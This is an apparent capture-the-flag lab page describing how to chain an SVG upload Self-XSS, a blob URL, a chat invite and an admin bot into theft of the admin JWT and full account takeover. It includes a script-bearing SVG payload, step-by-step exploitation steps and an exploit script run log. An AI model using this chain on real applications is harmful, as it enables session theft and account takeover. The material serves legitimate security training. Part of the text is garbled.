Chain an SVG upload, a `blob:` URL, a chat invite and a headless admin helper bot to turn a Self-XSS into full admin account takeover
Entorno seguro y aislado
Crea una cuenta y suscríbete para acceder a todos los labs. Practica en un entorno real y seguro.
Cuando resuelvas este lab desbloqueas este logro compartible
Content-Type: image/svg+xmlfiles.ts).FileAttachment.tsx builds a blob URL from thewindow.open(blobUrl). A blob URL loaded as a<script> runs insidelocalStorage. auth.ts returns the token in the JSON responselocalStorage['nc_token'] — reachable fromadmin@) intoblob: URL/api/files/:id returns Content-Type: image/svg+xmlUpload an SVG such as:
<svg xmlns="http://www.w3.org/2000/svg" width="120" height="40">
<text y="25">hi</text>
<script>alert(document.domain)</script>
</svg>
Click Open in new tab → alert pops on localhost:1338 → Self-XSS confirmed.
Your user id is visible in any decoded JWT (or in /admin if seen, but you are
not admin yet — use atob(token.split('.')[1])). Build an SVG that POSTs your
localStorage to /api/exfil/<id> (see exploit.py).
Upload the weaponized SVG to a chat. Invite admin@neurochat.ai. The bot polls
every ~15s; it will accept, visit the chat, and click the attachment.
Open /stolen in the UI (or poll /api/exfil). A capture withemail = admin@neurochat.ai will appear.
Click Hijack session on that capture (or copy the token intolocalStorage['nc_token']). Browse to /admin → flag.
python3 exploit.py
exploit.py automates steps 1–6 end-to-end. Typical run:
[1] Login as attacker@neurochat.ai
✓ logged in as #1 (Alex Morgan) · role=user
[2] Create attacker-owned chat
✓ chat id = 5
[3] Craft SVG payload (exfil → /api/exfil/1)
✓ 1.4 KB
[4] Upload dashboard-mockup.svg
✓ mime preserved as image/svg+xml
[5] Post message referencing file
[6] Invite admin@neurochat.ai
[7] Poll /api/exfil for captured admin token
✓ captured admin JWT
[8] Hit /api/admin with stolen JWT
FLAG{e7a15c…}
Suscríbete para descargar